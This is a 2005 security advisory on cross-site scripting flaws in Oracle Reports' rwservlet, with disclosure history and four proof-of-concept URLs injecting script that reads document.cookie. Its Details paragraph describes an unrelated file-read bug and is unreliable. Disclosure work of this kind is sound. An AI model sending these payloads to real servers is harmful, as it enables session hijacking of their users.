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Various Cross-Site-Scripting Vulnerabilities in Oracle Reports

Name Various Cross-Site-Scripting Vulnerabilities in Oracle Reports
Severity Low Risk
Category Cross Site Scripting (CSS/XSS)
Vendor URL http://www.oracle.com/
Author Alexander Kornbrust (ak at red-database-security.com)
Date 25 August 2005 (V 1.02)
CVE CAN-2005-2379
Inital bug report
756, 738, 733 days ago


Details
Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool.

It enables businesses to give immediate access to information to all levels within and outside of the
organization in an unrivaled scalable and secure environment. Oracle Reports, a component of the Oracle
Application Server, is used by Oracle itself for the E-Business Suite. Many large customers are using Oracle
Reports as reporting tool for their enterprise applications.

The Oracle Reports parameter customize can read any file by using an absolute or relative file name.
Parts of the file content are displayed in the Reports error message (see test case).


Affected Products
Internet Application Server
Oracle Application Server
Oracle Developer Suite

Patch Information
This bug is NOT FIXED with Critical Patch Update July 2005 (CPU July 2005).
It seems that Oracle is NOT INTERESTED to fix this issue and provide patches for this issue.
If you think you need a patch to protect your Oracle Application Server you should contact Oracle.


Testcase
http://myserver:7778/reports/rwservlet/showenv?server=reptest&debug=<script>alert(document.cookie);</script>

http://myserver:7778/reports/rwservlet/parsequery?server=myserver&test=<script>alert(document.cookie);</script>

http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=scott/tiger@iasdb+
destype=localFile+desformat=delimited+desname=FILE:+CELLWRAPPER=*+delimiter=<script>alert(document.cookie);</script>

http://myserver:7778/reports/rwservlet?server=myserver+report=test.rdf+userid=scott/tiger@iasdb+
destype=localFile+desformat=delimited+desname=FILE:+CELLWRAPPER=<script>alert(document.cookie);</script>


History
31-jul-2003 Oracle secalert was informed
31-jul-2003 Bug confirmed
18-aug-2003 Oracle secalert was informed about an additional CSS bug
18-aug-2003 Bug confirmed
23-aug-2003 Oracle secalert was informed about additional CSS bugs
23-aug-2003 Bug confirmed
15-apr-2005 Red-Database-Security informed Oracle secalert that this vulnerability will publish after CPU July 2005
Red-Database-Security offered Oracle more time if it is not possible to provide a fix ==> NO FEEDBACK.
12-jul-2005 Oracle published CPU July 2005 without fixing this issue
18-jul-2005 Red-Database-Security published this advisory
21-jul-2005 Affected products added
25-aug-2005 CVE number added



2005 by Red-Database-Security GmbH - last update 03-nov-2005

Oracle Reports

Oracle Reports is Oracle's award-winning, high-fidelity enterprise reporting tool.

It enables businesses to give immediate access to information to all levels within and outside
of the organization in an unrivaled scalable and secure environment. Oracle Reports consists of
Oracle Reports Developer (a component of the Oracle Developer Suite) and Oracle Application Server
Reports Services (a component of the Oracle Application Server).